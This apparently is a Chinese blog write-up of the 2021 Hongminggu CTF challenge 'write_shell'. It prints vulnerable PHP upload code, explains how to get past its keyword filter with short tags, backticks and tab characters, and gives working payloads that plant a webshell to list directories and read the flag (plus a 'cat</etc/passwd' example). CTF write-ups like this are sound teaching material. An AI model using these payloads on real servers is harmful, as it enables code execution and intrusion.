[红明谷CTF 2021]write_shell

发布于:2025-08-18 ⋅ 阅读:(15) ⋅ 点赞:(0)
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

可以看到对传入的参数进行了严格的过滤,我们无法通过传入数组绕过。

数组绕过示例:

本题源码示例:

那只能想办法绕过禁用字符串构造一句话木马。但是一句话木马肯定需要用到request,这里下划线被禁用了。也无法取反、异或、自增等等方法。那就只能直接注入恶意代码:

禁用了php,使用<?=绕过。

禁用了单引号,没法使用assert,但是可以用反引号。

想要执行'ls /'但是禁用了空格

  1. ${IFS}
  2. 重定向符号 <
    1. cat</etc/passwd
  3. 花括号
    1. {cat,/etc/passwd}  # 逗号分隔,等价于 cat /etc/passwd
  4. 变量拼接
  5. 制表符\t

这里只能用制表符。

先查看当前路径

sandbox/70579d1796bfdf99d77ae93cf4092361/

然后写入代码

/?action=upload&data=<?=`ls\t/`?>

再访问sandbox/70579d1796bfdf99d77ae93cf4092361/index.php

得到

bin boot dev etc flllllll1112222222lag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

重新写入代码

/?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>

访问sandbox/70579d1796bfdf99d77ae93cf4092361/index.php得到flag。

总结一下:这道题的难点就在于绕过禁用的字符构造恶意代码。


网站公告

今日签到

点亮在社区的每一天
去签到